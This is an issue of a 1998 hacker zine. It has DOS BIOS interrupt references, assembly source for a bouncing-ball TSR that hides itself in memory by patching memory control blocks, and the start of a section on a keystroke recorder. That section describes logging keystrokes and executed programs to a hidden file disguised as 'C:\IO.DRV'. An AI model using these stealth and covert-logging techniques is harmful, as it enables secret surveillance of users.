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-=-=-=-=-=-=-

HCF Magazine - Issue 002                                         January 1998


                   +-------------------------------------+
                   | H A L T   &   C A T C H   F I R E ! |
                   +-------------------------------------+


> Introduction <


I've been pretty busy at school lately with finals and other worthless crap
I've had to do, so this issue is coming out around mid-January instead of the
beginning of Januray like I had planned.  Oh well.  I have an extended essay
research project due in about a month, for which I'm going to have to write
some computer virii.  These will probably appear in the next issue.  Computer
virii are a lot of fun to play with, so I hope this will become a more common
topic in future issues.
If you have any questions, comments, suggestions, etc., or would like to
publish an article you've written, send your e-mail to phasm42@hotmail.com; I
usually check it every day.  If you're on ICQ, my number is 6509420.

------------------------------------------------------------------------------

Table of Contents
-----------------


BIOS Video Services Summary...............................................#001
BIOS Disk Services Summary................................................#002
Keyboard And Clock Services Summary.......................................#003
Miscellaneous BIOS Services Summary.......................................#004
Bouncing ball v19.........................................................#005
Keystroke recorder v3.....................................................#006
Phantom File TSR..........................................................#007
Slow Writer...............................................................#008
Some thoughts on background processing....................................#009

------------------------------------------------------------------------------

BIOS Video Services Summary                                               #001
---------------------------


> What is it? <

This is a quick reference of the more commonly used BIOS video services
provided through int 10h.  It is not very detailed, but for those readers that
do not have a reference, this is a brief description of each service and how
to call them.

> Set Video Mode <                                              Int 10/00

To call :       AH = 00
                AL = video mode
Returns :       Nothing

Mode    Colors  Resolution      Grph Resolution
------  ------  ----------      ---------------
0 Text  16      40 x 25
1 Text  16      40 x 25
2 Text  16      80 x 25
3 Text  16      80 x 25
4 Grph  4       40 x 25         320 x 200
5 Grph  4       40 x 25         320 x 200
6 Grph  2       80 x 25         640 x 200
7 Text  Mono    80 x 25
D Grph  16      40 x 25         320 x 200
E Grph  16      80 x 25         640 x 200
F Grph  Mono    80 x 25         640 x 350
10 Grph 16      80 x 25         640 x 350
11 Grph 2       80 x 30         640 x 480
12 Grph 16      80 x 30         640 x 480
13 Grph 256     40 x 25         320 x 200

> Set Cursor Type <                                             Int 10/01

To call :       AH = 01
                CH = Starting scan line (bits 0-4)
                CL = Ending scan line (bits 0-4)
Returns :       Nothing

> Set Cursor Position <                                         Int 10/02

To call :       AH = 02
                BH = Page number (0 in graphics modes)
                DH = Row (0 based)
                DL = Column (0 based)
Returns :       Nothing

> Get Cursor Position and Type <                                Int 10/03

To call :       AH = 03
                BH = Page number (0 in graphics modes)
Returns :       CH = Start scan line for cursor
                CL = End scan line for cursor
                DH = Row (0 based)
                DL = Column (0 based)

> Select Display Page <                                         Int 10/05

To call :       AH = 05
                AL = Page number
Returns :       Nothing

> Scroll Window Up/Down <                                       Int 10/06,07

To call :       AH = 06 if up, 07 if down
                AL = Number of lines to scroll
                BH = Attribute to use for blanked area
                CH = Row of upper left corner
                CL = Column of upper left corner
                DH = Row of lower right corner
                DL = Column of lower right corner
Returns :       Nothing

Note : If AL = 0 or AL is greater than the size of the window, then the area
will be blanked with the specified attribute.

> Get Character and Attribute <                                 Int 10/08

To call :       AH = 08
                BH = Page number (0 in graphics modes)
Returns :       AH = Attribute
                AL = Character
Note : Character read from cursor position on specified page.

> Write Character and Attribute <                               Int 10/09

To call :       AH = 09
                AL = Character
                BH = Page number (0 in graphics modes)
                BL = Attribute for character
                CX = Number of characters to write
Returns :       Nothing

Note : Does not change cursor position.

> Write Character w/o Attribute <                               Int 10/0A

To call :       AH = 0A
                AL = Character
                BH = Page number (0 in graphics modes)
                BL = Color of character in graphics modes
                CX = Number of characters to write
Returns :       Nothing

Note : Does not change cursor position.

> Write Graphics Pixel <                                        Int 10/0C

To call :       AH = 0C
                AL = Color value
                BH = Page number
                CX = Pixel's X coordinate
                DX = Pixel's Y coordinate

Note : If bit 7 of AL is set, value is XORed onto screen (except in 256-color
screen modes).

> Read Graphics Pixel <                                         Int 10/0D

To call :       AH = 0D
                BH = Page number
                CX = Pixel's X coordinate
                DX = Pixel's Y coordinate
Returns :       AL = Color of pixel

> Teletype Output <                                             Int 10/0E

To call :       AH = 0E
                AL = Character
                BH = Page number (0 in graphics modes)
                BL = Color of character in graphics modes
Returns :       Nothing

Note : This function interprets the bell (07h), backspace (08h), line feed
(0Ah), and carriage return (0Dh) characters.  Note that the tab (09h)
character is NOT interpreted.

> Get Current Display Mode <                                    Int 10/0F

To call :       AH = 0F
Returns :       AH = Number of columns on screen
                AL = Display mode
                BH = Active display page

> Write String <                                                Int 10/13

To call :       AH = 13
                AL = Write mode
                    Bit 0 : Update cursor after writing string
                    Bit 1 : String composed of alternating characters and
                            attributes
                    Bits 2-7 : Reserved (0)
                BH = Page number (0 in graphics modes)
                BL = Color of character if bit 1 of AL not set
                CX = Number of characters to write
                DH = Row at which to start writing
                DL = Column at which to start writing
                ES:BP -> String to write

------------------------------------------------------------------------------

BIOS Disk Services Summary                                                #002
--------------------------


> What is it? <

Duh.

> Reset Disk System <                                           Int 13/00

To call :       AH = 00
                DL = Physical drive number (bit 7 set for hard disks)
Returns :       AH = Status
                Carry flag clear is successful (AH = 00)
                Carry flag set is error

Note : This service instructs the drive to pull the heads back to track 0.

Status codes (applies to all int 13h calls)
00 : Success
01 : Invalid function in AH or invalid parameter
02 : Address mark not found
03 : Disk write-protected
04 : Sector not found/Read error
05 : Reset failed
06 : Invalid disk change
07 : Drive parameter activity failed
08 : DMA overrun
09 : DMA boundary error (attempted DMA transfer across 64K boundary)
0C : Unsupported track or invalid media
10 : CRC error on read
20 : Controller failure
40 : Seek failed
80 : Timeout

> Get Status Of Last Operation <                                Int 13/01

To call :       AH = 01
                DL = Physical drive number (bit 7 set for hard disks)
Returns :       AH = Status (See table in Int 13/00)

> Read From Disk/Write To Disk <                                Int 13/02,03

To call :       AH = 02 for read, 03 for write
                AL = Number of sectors
                CH = Lower 8 bits of track number
                CL = Bits 0-5 : Sector number (1 - 63)
                     Bits 6-7 : Upper 2 bits of track number
                DH = Head number
                DL = Physical drive number (bit 7 set for hard disks)
                ES:BX -> Buffer
Returns :       AH = Status (See table in Int 13/00)
                AL = Number of sectors transferred
                Carry flag clear is successful
                Carry flag set if error

Notes : For some drives (especially floppy drives) transfers must not be done
across 64K boundaries, and large transfers cannot cross head and track
boundaries.  Transfers which require switching the head or track must be
broken into a series of smaller transfers.

> Verify Disk Sectors <                                         Int 13/04

To call :       AH = 04
                AL = Number of sectors
                CH = Lower 8 bits of track number
                CL = Bits 0-5 : Sector number (1 - 63)
                     Bits 6-7 : Upper 2 bits of track number
                DH = Head number
                DL = Physical drive number (bit 7 set for hard disks)
Returns :       AH = Status (See table in Int 13/00)
                AL = Number of sectors transferred
                Carry flag clear is successful
                Carry flag set if error

Notes : This service checks whether the CRC stored on the disk matches the
actual CRC of the data read from the disk.  Verifies which require switching
the head or track must be broken into a series of smaller verifies.

> Format Floppy Disk Track <                                    Int 13/05

To call :       AH = 05
                AL = Number of sectors to create
                CH = Track
                DH = Head number
                DL = Drive number (Table shown is for floppy drives only)
                ES:BX -> Table of how to format each sector
                    For every sector to be formatted,
                    Byte 0 : Track number
                    Byte 1 : Head number
                    Byte 2 : Sector number
                    Byte 3 : Sector size
                        00 = 128 bytes
                        01 = 256 bytes
                        02 = 512 bytes
                        03 = 1024 bytes
Returns :       AH = Status (See table in Int 13/00)
                Carry flag clear if successful
                Carry flag set if error

Note : The sectors/track value is taken from the diskette parameter table
pointed to by int 1Eh.

> Get Drive Parameters <                                        Int 13/08

To call :       AH = 08
                DL = Physical drive number (bit 7 set for hard disks)
Returns :       Carry flag clear is successful
                    AH = Status (00)
                    BL = Drive type
                        01 : 360K
                        02 : 1.2M
                        03 : 720K
                        04 : 1.44M
                    CH = Lower 8 bits of tracks
                    CL = Bits 0-5 : Sectors/track
                         Bits 6-7 : Upper 2 bits of tracks
                    DH = Maximum head number
                    DL = Number of drives
                    ES:DI -> Drive parameter table (floppies only)
                Carry flag set if error
                    AH = Status (See table in Int 13/00)

Drive Parameter Table.  Same format as table pointed to by int 1E.
Offset  Contents
------  --------
00      First specify byte
            Bits 7-4 : Step rate
            Bits 3-0 : Head unload time (0F = 240 ms)
01      Second specify byte
            Bits 7-1 : Head load time (01 = 40 ms)
            Bit 0 : Non-DMA mode (always 0)
02      (BYTE) delay until motor turned off (in clock ticks)
03      (BYTE) sector size
            00 = 128 bytes
            01 = 256 bytes
            02 = 512 bytes
            03 = 1024 bytes
04      (BYTE) sectors/track
05      (BYTE) gap length between sectors (2Ah for 5.25", 1Bh for 3.5")
06      (BYTE) data length (ignored if sector size is nonzero)
07      (BYTE) gap length when formatting (50h for 5.25", 6Ch for 3.5")
08      (BYTE) format filler byte (default = F6h)
09      (BYTE) head settle time in milliseconds
0A      (BYTE) motor start time in 1/8 seconds

> Initialize Hard Disk Using Table <                            Int 13/09

To call :       AH = 09
                DL = Physical drive number (hard disks only)
Returns :       AH = Status (See table in Int 13/00)
                Carry flag clear is successful
                Carry flag set if error

Note : If the physical drive is 80h, then the table is pointed at by int 41h.
If the physical drive is 81h, then the table is pointed at by int 46h.

> Hard Disk Seek to Cylinder <                                  Int 13/0C

To call :       AH = 0C
                CH = Lower 8 bits of track number
                CL = Bits 0-5 : Sector number (1 - 63)
                     Bits 6-7 : Upper 2 bits of track number
                DH = Head number
                DL = Physical drive number (hard drives only)
Returns :       AH = Status (See table in Int 13/00)
                Carry flag clear is successful
                Carry flag set if error

> Hard Disk Reset/Check if Ready/Recalibrate <                 Int 13/0D,10,11

To call :       AH = 0D if resetting
                     10 if checking if ready
                     11 if recalibrating
                DL = Physical drive number (hard drives only)
Returns :       AH = Status (See table in Int 13/00)
                Carry flag clear is successful
                Carry flag set if error

> Hard Disk Controller RAM/Drive/Internal Diagnostic <         Int 13/12,13,14

To call :       AH = 12 if controller RAM diagnostics
                     13 if drive diagnostics
                     14 if internal controller diagnostics
                DL = Physical drive number (hard drives only)
Returns :       AH = Status (See table in Int 13/00)
                AL = 00
                Carry flag clear is successful
                Carry flag set if error

> Get Disk Type <                                               Int 13/15

To call :       AH = 15
                DL = Physical drive number (hard drives only)
Returns :       Carry flag clear if successful
                    AH = Type code
                        00 : Drive does not exist
                        01 : Floppy without change-line support
                        02 : Floppy with change-line support
                        03 : Hard disk
                            CX:DX = DWORD number of sectors
                Carry flag set if error
                    AH = Status (See table in Int 13/00)

> Detect Disk Change <                                          Int 13/16

To call :       AH = 16
                DL = Physical drive number (floppies only)
Returns :       Carry flag clear if change line inactive
                    AH = 00 (no disk change)
                Carry flag set if change line active
                    AH = Status
                        01 : Invalid command
                        06 : Change line active or unsupported
                        80 : Drive not ready or non-existent

> Set Floppy Disk Type For Formatting <                         Int 13/17

To call :       AH = 17
                AL = Type
                    01 = 320K/360K disk in 360K drive
                    02 = 320K/360K disk in 1.2M drive
                    03 = 1.2M disk in 1.2M drive
                    04 = 720K disk in 720K or 1.44M drive
                DL = Physical drive number (floppies only)
Returns :       AH = Status (See table in Int 13/00)
                Carry flag clear if successful
                Carry flag set if error

> Set Media Type For Format <                                   Int 13/18

To call :       AH = 18
                CH = Lower 8 bits of maximum track number (total - 1)
                CL = Bits 0-5 : Sectors/track (1 - 63)
                     Bits 6-7 : Upper 2 bits of maximum track number
                DH = Head number
                DL = Physical drive number (bit 7 set for hard disks)
Returns :       AH = Status (00, 01, 0C, 80; See table in Int 13/00)
                ES:DI -> Diskette parameter table (See table in Int 13/18)

------------------------------------------------------------------------------

Keyboard And Clock Services Summary                                       #003
-----------------------------------


> Get Non-extended Keystroke <                                  Int 16/00

To call :       AH = 00
Returns :       AH = BIOS scan code
                AL = Character (00 if special)

Note : This function returns non-extended keys.

> Check For Non-extended Keystroke <                            Int 16/01

To call :       AH = 01
Returns :       Zero flag clear is keystroke ready
                    AH = BIOS scan code
                    AL = Character (00 if special)
                Zero flag set if no keystroke ready

Note : Even though keystroke information is returned, the key is not removed
from the keyboard buffer.

> Get Non-extended Shift Flags <                                Int 16/02

To call :       AH = 02
Returns :       AL = Keyboard flags located at 0040:0017
                    Bit 7 : Insert active
                    Bit 6 : Caps Lock enabled
                    Bit 5 : Num Lock enabled
                    Bit 4 : Scroll Lock enabled
                    Bit 3 : Alt key depressed
                    Bit 2 : Ctrl key depressed
                    Bit 1 : Left shift key depressed
                    Bit 0 : Right shift key depressed

Note : AH often destroyed upon return

> Set Typematic Rate And Delay <                                Int 16/03

To call :       AH = 03
                AL = Subfunction (05)
                BH = Delay
                    0 = 1/4 second
                    1 = 1/2 second
                    2 = 3/4 second
                    3 = 1 second
                BL = Rate (00-1F; 00 = 30/sec, 0C = 10/sec, 1F = 2/sec)
Returns :       Nothing

Note : AH often destroyed upon return

> Store Keystroke in Keyboard Buffer <                          Int 16/05

To call :       AH = 05
                CH = BIOS scan code
                CL = Character
Returns :       AL = Status; 00 if successful, 01 if buffer full

Note : AH often destroyed upon return

> Get Extended Keystroke <                                      Int 16/10

To call :       AH = 10
Returns :       AH = BIOS scan code
                AL = Character (00 if special)

> Check For Extended Keystroke <                                Int 16/11

To call :       AH = 11
Returns :       Zero flag clear is keystroke ready
                    AH = BIOS scan code
                    AL = Character (00 if special)
                Zero flag set if no keystroke ready

Note : Even though keystroke information is returned, the key is not removed
from the keyboard buffer.

> Get Extended Shift Flags <                                    Int 16/12

To call :       AH = 12
Returns :       AL = Keyboard flags located at 0040:0017
                    Bit 7 : Insert active
                    Bit 6 : Caps Lock enabled
                    Bit 5 : Num Lock enabled
                    Bit 4 : Scroll Lock enabled
                    Bit 3 : Alt key depressed (either one)
                    Bit 2 : Ctrl key depressed (either one)
                    Bit 1 : Left shift key depressed
                    Bit 0 : Right shift key depressed
                AH = Keyboard flags located at 0040:0018
                    Bit 7 : Insert key depressed
                    Bit 6 : Caps Lock key depressed
                    Bit 5 : Num Lock key depressed
                    Bit 4 : Scroll Lock key depressed
                    Bit 3 : Pause active
                    Bit 2 : SysReq key depressed
                    Bit 1 : Left Alt key depressed
                    Bit 0 : Left Ctrl key depressed

> Get 122-Key Keystroke <                                       Int 16/20

To call :       AH = 20
Returns :       AH = BIOS scan code
                AL = Character (00 if special)
> Check For 122-Key Keystroke <                                 Int 16/21

To call :       AH = 21
Returns :       Zero flag clear is keystroke ready
                    AH = BIOS scan code
                    AL = Character (00 if special)
                Zero flag set if no keystroke ready

Note : Even though keystroke information is returned, the key is not removed
from the keyboard buffer.

> Get 122-Key Shift Flags <                                     Int 16/22

To call :       AH = 22
Returns :       AL = Keyboard flags at 0040:0017 (See table in Int 16/12)
                AH = Keyboard flags at 0040:0018 (See table in Int 16/12)

> Get Timer Tick Count <                                        Int 1A/00

To call :       AH = 00
Returns :       CX:DX = DWORD timer tick count (1 tick =  0.05492544718697
                        seconds; 18.20649719238 ticks/second.  This timer tick
                        is based on a 1234DDh Hz timer, which is usually set
                        to generate an interrupt every 65,536 cycles.)
                AL = Midnight flag; nonzero if midnight has passed

> Set Timer Tick Count <                                        Int 1A/01

To call :       AH = 01
                CX:DX = DWORD timer tick count (see Int 1A/00 for details)
Returns :       Nothing

Note : Midnight flag is reset by this function.

> Get Real-Time Clock Time <                                    Int 1A/02

To call :       AH = 02
Returns :       BX = Number of days since January 1, 1980 (when time began...)
                CH = Hours (BCD)
                CL = Minutes (BCD)
                DH = Seconds (BCD)
                DL = 1/100 seconds

> Set Real-Time Clock Time <                                    Int 1A/03

To call :       AH = 03
                CH = Hour (BCD)
                CL = Minutes (BCD)
                DH = Seconds (BCD)
                DL = Daylight savings (00 = standard, 01 = daylight savings)
Returns :       Nothing

> Get Real-Time Clock Date <                                    Int 1A/04

To call :       AH = 04
Returns :       Carry flag clear if successful
                    CH = Century (BCD)
                    CL = Year (BCD)
                    DH = Month (BCD)
                    DL = Day (BCD)
                Carry flag set if error

> Set Real-Time Clock Date <                                    Int 1A/05

To call :       AH = 05
                CH = Century (BCD)
                CL = Year (BCD)
                DH = Month (BCD)
                DL = Day (BCD)
Returns :       Nothing

------------------------------------------------------------------------------

Miscellaneous BIOS Services Summary                                       #004
-----------------------------------


> Get Equipment List <                                          Int 11

To call :       Nothing
Returns :       AX = BIOS equipment list

BIOS Equipment List WORD
Bits    Contents
-----   --------
15-14   Number of parallel ports installed
13-12   Unused
11-9    Number of serial ports installed
8       Unused
7-6     Number of floppies installed - 1 (if bit 0 set; otherwise unused)
5-4     Initial video mode
            00 : EGA, VGA, or PGA
            01 : 40x25 color
            10 : 80x25 color
            11 : 80x25 monochrome
3       Unused
2       Pointing device installed
1       80x87 coprocessor installed
0       Floppy disk drive(s) installed (number stored in bits 7-6)

> Get Memory Size <                                             Int 12

To call :       Nothing
Returns :       AX = Number of kilobytes of contiguous memory starting from
                     absolute address 00000h.  This is stored at 0040:0013.

> Initialize COM Port <                                         Int 14/00

To call :       AH = 00
                AL = Initialization parameter
                    Bits 7-5 = Baud rate
                        000 : 110 baud
                        001 : 150 baud
                        010 : 300 baud
                        011 : 600 baud
                        100 : 1200 baud
                        101 : 2400 baud
                        110 : 4800 baud
                        111 : 9600 baud
                    Bits 4-3 = Parity
                        00, 10 : None
                        01 : Odd
                        11 : Even
                    Bit 2 : Stop bits (0 = 1 bit, 1 = 2 bits)
                    Bits 1-0 : Data bits
                        00 : 5 bits
                        01 : 6 bits
                        10 : 7 bits
                        11 : 8 bits
                DX = COM port number
                    0 : COM1
                    1 : COM2
                    2 : COM3
                    3 : COM4
Returns :       AH = Port status
                AL = Modem status

Port Status
Bit     Use
---     ---
7       Timeout
6       Transmit shift register empty
5       Transmit holding register empty
4       Break detected
3       Framing error
2       Parity error
1       Overrun error
0       Receive data ready

Modem status
Bit     Use
---     ---
7       Carrier detect
6       Ring indicator
5       Data set ready
4       Clear to send
3       Change in carrier detect status
2       Trailing edge of ring indicator
1       Change in data set ready status
0       Change in clear to send status

> Write Character To COM Port <                                 Int 14/01

To call :       AH = 01
                AL = Character
                DX = COM port
                    0 : COM1
                    1 : COM2
                    2 : COM3
                    3 : COM4
Returns :       AH = Status; bit 7 indicates error
                    Bit 7 clear : No error
                    Bit 7 set : Error; bits 6-0 = Port status (See table in
                                Int 14/00)

Note : Port must be initialized before calling this service

> Read Character From COM Port <                                Int 14/02

To call :       AH = 02
                DX = COM port
                    0 : COM1
                    1 : COM2
                    2 : COM3
                    3 : COM4
Returns :       AH = Status; bit 7 indicates error
                    Bit 7 clear : No error
                        AL = Character
                    Bit 7 set : Error; bits 6-0 = Port status (See table in
                                Int 14/00)

Note : Port must be initialized before calling this service

> Get COM Port Status <                                         Int 14/03

To call :       AH = 03
                DX = COM port
                    0 : COM1
                    1 : COM2
                    2 : COM3
                    3 : COM4
Returns :       AH = Port status (See table in Int 14/00)
                AL = Modem status (See table in Int 14/00)

> Extended Initialize COM Port <                                Int 14/04

To call :       AH = 04
                AL = Break setting
                    00 : Break
                    01 : No break
                BH = Parity
                    00 : No parity
                    01 : Odd parity
                    02 : Even parity
                    03 : Stick parity odd
                    04 : Stick parity even
                BL = Number of stop bits
                    00 : One stop bit
                    01 : Two stop bits (1.5 if data length is 5 bits)
                CH = Data length
                    00 : 5 bits
                    01 : 6 bits
                    02 : 7 bits
                    03 : 8 bits
                CL = Transmission rate (bps)
                    00 : 110 bps
                    01 : 150 bps
                    02 : 300 bps
                    03 : 600 bps
                    04 : 1200 bps
                    05 : 2400 bps
                    06 : 4800 bps
                    07 : 9600 bps
                    08 : 19200 bps
                DX = COM port
                    0 : COM1
                    1 : COM2
                    2 : COM3
                    3 : COM4
Returns :       AH = Port status (See table in Int 14/00)
                AL = Modem status (See table in Int 14/00)

> Write Character To Printer <                                  Int 17/00

To call :       AH = 00
                AL = Character
                DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3)
Returns :       AH = Printer status

Printer status
Bits    Use
----    ---
7       Not busy
6       Acknowledge
5       Out of paper
4       Printer selected
3       I/O error
2, 1    Unused
0       Timeout

> Initialize Printer Port <                                     Int 17/01

To call :       AH = 01
                DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3)
Returns :       AH = Printer status (See table in Int 17/00)

> Get Printer Status <                                          Int 17/02

To call :       AH = 02
                DX = Printer number (0 = LPT1, 1 = LPT2, 2 = LPT3)
Returns :       AH = Printer status (See table in Int 17/00)

> Control-Break Handler Address <                               Int 1B

This routine is called when the keyboard handler detects a Ctrl-Break.
Normally, this vector points to a routine which sets the DOS Ctrl-C flag.

> Timer Tick Handler <                                          Int 1C

This routine is normally called by the hardware timer tick handler (Int 08).
Programs that want to be called periodically usually hook this interrupt.

------------------------------------------------------------------------------

Bouncing ball v19                                                         #005
-----------------


> Version 19?! <

This is one of the first TSRs (and assembly program, for that matter) that I
wrote.  Of the versions I kept, this is version 19.  Whenever I write a new
TSR engine, I attach it to this program to test it out.  This version writes
directly to screen memory.  Version 18 uses BIOS functions, but it's slower.
Version 17 is two bytes longer than this one.  While adding the comments for
this program, I noticed that in the GetRand procedure, I had done a 'mov dx,
cs' instead of a 'mov dx, cx'.  I went back, and noticed that I had made this
same mistake since version 10.  Because it was used for random numbers, and
not very often, the mistake escaped for a long time.  Anyway, here's the
program:

<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->

.8086
code    segment byte public
        assume cs:code, ds:code
        org     100h

start:
        jmp     initialize
        nop
        nop
        tag db 'phasm 12/97'            ;My tag

thedata:
        textseg dw 0                    ;Segment for text video memory
        coordinates     dw 0            ;Coordinates of the ball
        vectors dw 0                    ;Direction of the ball
        color   db 0                    ;Color of the ball
        oldint  dw 0, 0                 ;Old int 1Ch vector

tsr:
        push    ax
        push    bx
        push    cx
        push    dx
        push    ds
        push    es
        push    cs
        pop     ds
        xor     ax, ax
        mov     es, ax
        mov     al, es:[449h]           ;Get the screen mode
        cmp     al, 3
        jbe     okaymode1               ;If 0-3, then okay mode
        cmp     al, 7
        je      okaymode2               ;If 7, then okay mode
        jmp     exittsr                 ;Otherwise, abort

okaymode1:
        mov     [textseg], 0b800h       ;Modes 0-3 : Segment B800h
        jmp     short continue1

okaymode2:
        mov     [textseg], 0b000h       ;Mode 7 : Segment B000h
continue1:
        mov     ax, es:[44eh]           ;Get the offset of the current page
        shr     ax, 4                   ;Convert into a segment #
        add     [textseg], ax           ;Add it to the video segment
        mov     dl, es:[484h]           ;Maximum row number (rows - 1)
        mov     dh, es:[44ah]           ;Columns on screen
        push    dx                      ;Save
        shr     dh, 1                   ;Divide columns by 2 (ball's columns)
        dec     dh                      ;Decrement to find max
        mov     bx, [coordinates]       ;Get coordinates of ball
        mov     cx, [vectors]           ;Get ball's vector
        or      cl, cl                  ;Is CL = 0?
        jnz     down                    ;If not, goto down
        dec     bl                      ;Decrement ball's row (move up)
        cmp     bl, -1                  ;Is the row = -1?
        jne     checkotherbound1        ;If not, check if out of bounds
        mov     bl, 1                   ;Set row = 1
        mov     cl, 1                   ;Set ball's direction to down
checkotherbound1:
        cmp     bl, dl
        jbe     updatecolumn            ;If new row <= max row, check column
        call    getnewstuff             ;Get new position and vector for ball
        mov     bx, [coordinates]       ;Save coordinates
        mov     cx, [vectors]           ;Save vectors
        jmp     short updatedisplay     ;Update the display

down:
        inc     bl                      ;Increment ball's row (move down)
        cmp     bl, dl                  ;Is the row <= last row?
        jbe     updatecolumn            ;If so, go check the column
        sub     bl, 2                   ;Bounce the ball
        xor     cl, cl                  ;Set the vertical direction vector
        cmp     bl, dl                  ;Is the row <= last row?
        jbe     updatecolumn            ;If so, go check the column
        call    getnewstuff             ;The # rows on screen has changed,
                                        ;so new coordinates and vectors must
                                        ;be generated
        mov     bx, [coordinates]       ;Save the coordinates
        mov     cx, [vectors]           ;Save the vectors
        jmp     short updatedisplay     ;Update the display

updatecolumn:
        or      ch, ch                  ;Is horizontal vector = 0?
        jnz     right                   ;If not, move right
        dec     bh                      ;Decrement the column
        cmp     bh, -1                  ;Is the column = -1
        jne     checkotherbound2        ;If not, check the other bound
        mov     bh, 1                   ;Set the column to 1
        mov     ch, 1                   ;Bounce right
checkotherbound2:
        cmp     bh, dh                  ;Is the column <= max column?
        jbe     updatedone              ;Is so, check if color needs to change
        call    getnewstuff             ;Get new data for ball
        mov     bx, [coordinates]       ;Save coordinates
        mov     cx, [vectors]           ;Save vectors
        jmp     short updatedisplay     ;Update the display

right:
        inc     bh                      ;Increment the column
        cmp     bh, dh                  ;Is the column <= max column?
        jbe     updatedone              ;If so, check if color needs to change
        sub     bh, 2                   ;Update ball's position
        xor     ch, ch                  ;Reverse direction (left)
        cmp     bh, dh                  ;Is the column <= max column?
        jbe     updatedone              ;If so, check if color needs to change
        call    getnewstuff             ;Get new ball data
        mov     bx, [coordinates]       ;Save coordinates
        mov     cx, [vectors]           ;Save vectors
        jmp     short updatedisplay     ;Update the display

updatedone:
        push    bx
        cmp     cx, [vectors]           ;Does the ball have the same vectors?
        je      preupdatedisplay        ;If yes, then update the display
        mov     bx, 0fh
        call    GetRand                 ;Get random number 0-14
        inc     dl                      ;Shift range to 1-15
        mov     [color], dl             ;Save new color
preupdatedisplay:
        pop     bx
updatedisplay:
        mov     ax, [textseg]
        mov     es, ax                  ;Set ES to segment of video memory
        pop     dx                      ;Restore screen's # columns
        push    bx                      ;Save new ball coordinates
        mov     ax, [coordinates]       ;Get old coordinates
        mul     dh                      ;Get offset in chars to ball's old row
        mov     bx, ax
        mov     ax, [coordinates]
        mov     al, ah
        xor     ah, ah
        shl     ax, 1                   ;Get offset in chars to ball's old col
        add     bx, ax                  ;Get offset in chars to old ball
        shl     bx, 1                   ;Translate into address
        mov     word ptr es:[bx], 720h  ;Overwrite with space
        mov     word ptr es:[bx + 2], 720h
        pop     bx                      ;Restore new coordinates
        mov     [coordinates], bx       ;Save new coordinates
        mov     [vectors], cx           ;Save new vectors
        mov     cl, bh                  ;Get column
        xor     ch, ch
        shl     cx, 1                   ;Translate into characters
        mov     al, bl
        mul     dh                      ;Translate row into characters
        mov     bx, ax
        add     bx, cx                  ;Get offset in characters to new ball
        shl     bx, 1                   ;Translate into address
        mov     ah, [color]             ;Get ball color
        mov     al, 0dbh                ;Solid character
        mov     es:[bx], ax             ;Display
        mov     es:[bx + 2], ax
exittsr:
        pop     es
        pop     ds
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        jmp     dword ptr cs:[oldint]   ;Outta here!

getnewstuff     proc near
        mov     bl, es:[484h]
        xor     bh, bh                  ;Number of rows
        inc     bl
        call    GetRand                 ;Get random number 0-24
        push    dx                      ;Store number
        mov     bx, es:[44ah]
        shr     bx, 1                   ;Number of columns
        call    GetRand                 ;Get random number 0-39
        push    dx                      ;Store number
        mov     bx, 2                   ;Direction
        call    GetRand                 ;Get random number 0-1
        push    dx                      ;Store number
        call    GetRand                 ;Get another
        mov     cl, dl                  ;Column direction flag
        pop     dx                      ;Restore number
        mov     ch, dl                  ;Row direction flag
        pop     dx                      ;Restore number
        mov     bh, dl                  ;Column number
        pop     dx
        mov     bl, dl                  ;Row number
        mov     [coordinates], bx
        mov     [vectors], cx
        mov     bx, 0fh
        call    GetRand
        inc     dl
        mov     [color], dl
getnewstuff     endp

GetRand PROC NEAR
        push    ax
        push    cx
        xor     ah, ah                  ;Set function 0
        int     1ah                     ;Get number of ticks
        mov     ax, dx
        mov     dx, cx
        xor     ax, dx
        xor     dx, dx
        div     bx                      ;Divide
        pop     cx
        pop     ax
        retn
GetRand ENDP

initialize:
        push    es
        xor     ax, ax
        mov     es, ax
        call    getnewstuff
        pop     es
        cld
        push    ds
        xor     ax, ax
        mov     ds, ax
        mov     si, 1ch * 4
        mov     di, offset oldint
        cli
        movsw
        movsw
        sti
        pop     ds
        ;let's see if we can load into upper memory...
        mov     cx, offset initialize - offset thedata
        shr     cx, 1
        shr     cx, 1
        shr     cx, 1
        shr     cx, 1
        inc     cx
        mov     ax, cs
        dec     ax
        mov     es, ax
        mov     ds:[100h], es
keepgoing1:
        mov     ax, es:[3]
        mov     bx, es
        add     ax, bx
        inc     ax
        mov     es, ax
        cmp     byte ptr es:[0], 'M'
        je      valid1
        cmp     byte ptr es:[0], 'Z'
        jne     failed
        mov     ds:[100h], es
valid1:
        cmp     ax, 0a000h
        jb      keepgoing1
keepgoing2:
        mov     al, es:[0]
        cmp     al, 'M'
        je      donevalidcheck
        cmp     al, 'Z'
        je      checkitout
failed:
        mov     es, ds:[100h]
        jmp     short goresident

failed2:
        mov     es, ds:[100h]
        mov     byte ptr ds:[100h], 'M'
        mov     word ptr ds:[101h], 8
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     ds, ax
        mov     bx, ds:[3]
        push    cs
        pop     ds
        add     bx, cx
        mov     ds:[103h], bx
        sub     es:[3], cx
        inc     cx
        jmp     short goresident2

donevalidcheck:
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     es, ax
        jmp     short keepgoing2

checkitout:
        mov     ax, es:[1]
        test    ax, ax
        jnz     failed2
        mov     ax, es:[3]
        cmp     ax, cx
        jb      failed2
        ;we'll load into memory and hide
goresident:
        mov     byte ptr ds:[100h], 'H'
        mov     word ptr ds:[101h], 7965h       ; 'ey' in memory
        mov     word ptr ds:[103h], 2021h       ; '! ' in memory
        inc     cx
        sub     es:[3], cx
goresident2:
        mov     ax, es
        add     ax, es:[3]
        inc     ax
        mov     es, ax
        mov     si, 100h
        xor     di, di
        shl     cx, 1
        shl     cx, 1
        shl     cx, 1
        rep     movsw
        sub     ax, 10h
        xor     bx, bx
        mov     ds, bx
        cli
        mov     ds:[1ch * 4], offset tsr
        mov     ds:[1ch * 4 + 2], ax
        ;terminate
        int     20h

code    ends

end     start

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------------------------------------------------------------------------------

Keystroke recorder v3                                                     #006
---------------------


> What it does and how it works <

This TSR records keystrokes from int 16h, and also any files executed via int
21h/4Bh.  It places the keystrokes and the name and time/date of all EXEC
requests in the hidden system file 'C:\IO.DRV'.  It waits until the buffer is
full or some disk access is being done before dumping the contents of its
buffer to the log file.  Here is the source code. . .

